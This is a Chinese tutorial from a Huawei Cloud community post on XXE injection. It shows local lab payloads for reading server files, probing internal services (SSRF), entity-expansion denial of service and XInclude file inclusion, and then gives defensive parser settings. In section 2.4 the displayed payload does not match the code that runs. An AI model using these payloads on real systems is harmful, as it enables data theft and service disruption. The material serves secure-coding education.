從原理到實戰,詳解XXE攻擊

2023-10-13 12:01:20

本文分享自華為雲社群《【安全攻防】深入淺出實戰系列專題-XXE攻擊》,作者: MDKing。

1 基本概念

XML基礎:XML 指可延伸標示語言(Extensible Markup Language),是一種與HTML類似的純文字的標示語言,設計宗旨是為了傳輸資料,而非顯示資料。是W3C的推薦標準。

XML標籤:XML被設計為具有自我描述性,XML標籤是沒有被預定義的,需要自行定義標籤與檔案結構。如下為包含了標題、傳送者、接受者、內容等資訊的xml檔案。

image1.png

DTD:指檔案型別定義(Document Type Definition),通過定義根節點、元素(ELEMENT)、屬性(ATTLIST)、實體(ENTITY)等約束了xml檔案的內容按照指定的格式承載資料。

如下圖,通過<!DOCTYPE 根節點名稱 [DTD內容]>的規則指定了該xml檔案合法的根節點元素為persons,它的子節點元素為person,以及person的子層元素以及屬性。

 

(另外:可通過<!DOCTYPE 根節點名稱 SYSTEM "DTD檔名">的方式引入外部的DTD定義檔案)

 

image2.png

實體:在DTD中通過<!ENTITY 實體名稱 "實體的值">等方式定義實體,相當於定義變數的作用,可在檔案內容中通過&實體名稱;的方式參照實體的值(變數的值)。

實體型別:實體分為多種型別,從使用範圍的維度,分為引數實體(只能在DTD中參照)與非引數實體(可以在DTD中、檔案內容中參照)。區別如下:

 
  樣例 參照方式 使用範圍與場景
非引數實體 <!ENTITY country "中國"> &country; 在DTD中、檔案內容中均可參照,一般用來取代重複的字串
引數實體 <!ENTITY % countrydefine "xxx元素的DTD定義內容"> %country; 僅能在DTD定義中參照,一般用來儲存某段重複的DTD定義

從值的來源維度,分為內部實體、外部實體。內部實體為檔案內部直接定義值,外部實體為通過http、file等協定從檔案外的某處獲取內容作為實體的值。區別如下:

 
  樣例 特徵與使用場景
內部實體 <!ENTITY country "中國"> 值是明確的字串常數等,可以直接定義在本檔案中
外部實體 <!ENTITY country SYSTEM "file:///D:/country.txt"> 值來源於其它檔案或者網路

XML外部實體注入:XML External Entity Injection即xml外部實體注入漏洞,簡稱XXE漏洞。當xml解析器支援對於外部實體的解析且待解析的xml檔案可由外部控制時,就會發生此攻擊。攻擊者可以通過構造外部實體的內容為本地其它目錄下的檔案、存取內網/外網的制定url等方式實現自己的攻擊目的,達到資訊洩露、命令執行、拒絕服務、SSRF、內網埠掃描等攻擊目的。

Xinclude:Xinclude用來匯入外部xml檔案,類似於php的include,將外部定義的dtd引入當前檔案。該特性可以解決部分場景下引入外部實體具有的侷限性,但並不是所有XML 解析器都支援 XInclude,W3C在XInclude Implementations Report中列出了支援的列表,結合XInclude特性也可以在部分場景下執行XXE攻擊。常見的支援xinclude特性的xml解析器都是預設關閉xinclude特性的,如果使用,需要在程式碼中手動開啟,如在DOM型解析器中開啟如下設定factory.setNamespaceAware(true);factory.setXIncludeAware(true);如果不關閉Xinclude,僅禁用DTD解析也是存在安全風險的。

2 常見攻擊場景實戰演練

2.1 伺服器檔案讀取(資訊洩露)

目的與場景:通過構造特定格式的xml檔案,讀取伺服器上指定檔案的內容,達到敏感資訊獲取的目的。

xml檔案payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ 
    <!ELEMENT root (#PCDATA)>
    <!ENTITY pw SYSTEM "file:///D:/securetest/xxe/passwd.txt">]>
<root>&pw;</root>

伺服器端程式碼:

public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException {
        String xml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
                "<!DOCTYPE root [ \n" +
                "\t<!ELEMENT root (#PCDATA)>\n" +
                "\t<!ENTITY pw SYSTEM \"file:///D:/securetest/xxe/passwd.txt\">]>\n" +
                "<root>&pw;</root>";
        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
        factory.setValidating(true);
        DocumentBuilder builder = factory.newDocumentBuilder();
        InputStream in = new ByteArrayInputStream(xml.getBytes());
        org.w3c.dom.Document document = builder.parse(in);
        Element rootElement = document.getDocumentElement();

        // 列印根節點元素名稱、內容
        System.out.println("根節點名稱:" + rootElement.getNodeName());
        System.out.println("根節點內容:" + rootElement.getTextContent());
}

執行結果:成功讀取到了passwd.txt的內容。(伺服器端程式碼樣例中列印在控制檯上,對應實際系統中需要有將檔案內容列印到介面上等處理。)

image3.png

2.2 內網資訊探測

目的與場景:通過構造特定格式的xml檔案,可以藉助目標主機存取內網的其它主機開放的內部介面等服務。

內網其它伺服器模擬準備:通過node staticServer.js命令啟動伺服器,監聽3000埠

let express = require('express')
let app = express();
app.use(express.static(__dirname));
app.get('/getInnerData', function(req, res) {
  console.log(req.headers)
  res.end('AK:abc;SK:ABDCEF')
})
app.listen(3000)

經驗證,http請求可成功返回

image4.png

xml檔案payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ 
    <!ELEMENT root (#PCDATA)>
    <!ENTITY pw SYSTEM "http://127.0.0.1:3000/getInnerData">]>
<root>&pw;</root>

伺服器端程式碼:

public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException {
        String xml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
                "<!DOCTYPE root [ \n" +
                "\t<!ELEMENT root (#PCDATA)>\n" +
                "\t<!ENTITY pw SYSTEM \"http://127.0.0.1:3000/getInnerData\">]>\n" +
                "<root>&pw;</root>";
        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
        factory.setValidating(true);
        DocumentBuilder builder = factory.newDocumentBuilder();
        InputStream in = new ByteArrayInputStream(xml.getBytes());
        org.w3c.dom.Document document = builder.parse(in);
        Element rootElement = document.getDocumentElement();

        // 列印根節點元素名稱、內容
        System.out.println("根節點名稱:" + rootElement.getNodeName());
        System.out.println("根節點內容:" + rootElement.getTextContent());
    }

執行結果:成功讀取到內部介面getInnerData的內容。

image5.png

2.3 DDos攻擊

目的與場景:通過構造特殊格式的xml檔案,定義多層遞迴參照的實體(變數)讓解析的內容以及時間以指數級增長,以實現DDos攻擊的效果。

xml檔案payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ 
    <!ELEMENT root (#PCDATA)>
    <!ENTITY lol "lollollollollollollollollollollollollollollollollollollollollollollollollollollollollollol\n">
    <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">]>
<root>&lol6;</root>

伺服器端程式碼:

public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException {
    // 獲取當前時間
    LocalDateTime startTime = LocalDateTime.now();
    String xml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
            "<!DOCTYPE root [ \n" +
            "\t<!ELEMENT root (#PCDATA)>\n" +
            "\t<!ENTITY lol \"lollollollollollollollollollollollollollollollollollollollollollollollollollollollollollol\n\">\n" +
            "\t<!ENTITY lol1 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\n" +
            "\t<!ENTITY lol2 \"&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;\">\n" +
            "\t<!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\n" +
            "\t<!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">\n" +
            "\t<!ENTITY lol5 \"&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;\">\n" +
            "\t<!ENTITY lol6 \"&lol5;&lol5;&lol5;&lol5;&lol5;\">]>\n" +
            "<root>&lol6;</root>";
    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
    factory.setValidating(true);
    factory.setExpandEntityReferences(false);
    System.setProperty("entityExpansionLimit", "50000000");
    DocumentBuilder builder = factory.newDocumentBuilder();
    InputStream in = new ByteArrayInputStream(xml.getBytes());
    org.w3c.dom.Document document = builder.parse(in);
    Element rootElement = document.getDocumentElement();

    // 列印根節點元素名稱、內容
    System.out.println("根節點名稱:" + rootElement.getNodeName());
    System.out.println("根節點內容:" + rootElement.getTextContent());
    System.out.println("根節點內容長度:" + rootElement.getTextContent().length());
    System.out.println("根節點內容大小:" + rootElement.getTextContent().getBytes().length / (1024 * 1024) + "MB");

    // 獲取當前時間並計算時間差
    LocalDateTime endTime = LocalDateTime.now();
    Duration duration = Duration.between(startTime, endTime);
    System.out.println("解析執行時間為:" + duration.toMillis() + "豪秒");
}

執行結果:如果程式中不對解析實體做限制的話,可以通過少量的DTD定義,實現海量大小的解析結果的效果,會大量佔用伺服器的處理、儲存。

image6.png

2.4 Xinclude攻擊演示

目的與場景:該樣例演示瞭如果開啟了Xinclude開關的危險性,即使做了DTD的安全禁用,還是依然可以進行XXE攻擊。

xml檔案payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ 
    <!ELEMENT root (#PCDATA)>
    <!ENTITY lol "lollollollollollollollollollollollollollollollollollollollollollollollollollollollollollol\n">
    <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">]>
<root>&lol6;</root>

伺服器端程式碼:

public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException {
    String xml = "<?xml version=\"1.0\" ?>\n" +
            "<root xmlns:xi=\"http://www.w3.org/2001/XInclude\">\n" +
            "<xi:include href=\"file:///D:/securetest/xxe/passwd.txt\" parse=\"text\"/>\n" +
            "</root>";
    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
    factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    factory.setNamespaceAware(true);
    factory.setXIncludeAware(true);
    DocumentBuilder builder = factory.newDocumentBuilder();
    InputStream in = new ByteArrayInputStream(xml.getBytes());
    org.w3c.dom.Document document = builder.parse(in);
    Element rootElement = document.getDocumentElement();

    // 列印根節點元素名稱、內容
    System.out.println("根節點名稱:" + rootElement.getNodeName());
    System.out.println("根節點內容:" + rootElement.getTextContent());
}

執行結果:

image7.png

3 安全編碼防禦

3.1 禁止開啟Xinclude開關

常見的支援xinclude特性的xml解析器都是預設關閉xinclude特性的,如果使用,需要在程式碼中手動開啟,如在DOM型解析器中開啟如下設定factory.setNamespaceAware(true);factory.setXIncludeAware(true);如果不關閉Xinclude,僅禁用DTD解析也是存在安全風險的。2.4中演示了即使禁用了DTD解析,開啟Xinclude功能開關後存在的安全問題。所以從安全形度考慮,首先禁止開啟Xinclude開關。

3.2 禁用DTD解析

如果業務中不需要進行DTD定義以及解析,最好的方式就是完全禁用DTD解析。例如Dom型別的解析器中通過factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);來禁用。效果如下:

image8.png

3.3 禁用外部實體解析

方式一:如果業務中確實需要DTD定義以及解析,可以通過僅禁用外部實體解析的方式進行安全防護。例如Dom型別的解析器中通過如下方式設定禁用外部實體解析:

factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

效果如下:

image9.png

方式二:禁用外部實體解析還有另外一種方式,重寫實體解析函數,核心程式碼:

builder.setEntityResolver(new EntityResolver() {
    @Override
    public InputSource resolveEntity(String publicId, String systemId) throws SAXException,IOException {
        return new InputSource(new StringReader(""));
    }
});

效果如下:

image10.png

4 安全編碼掃描工具

IoT已將包括上述安全編碼邏輯在內的常用XML解析器的安全編碼規範提取到IoT自定義安全規則集,上線到所有IoT服務的生產釋出流水線中,自動化的保障各服務的現網程式碼安全。如:

image11.png

點選關注,第一時間瞭解華為雲新鮮技術~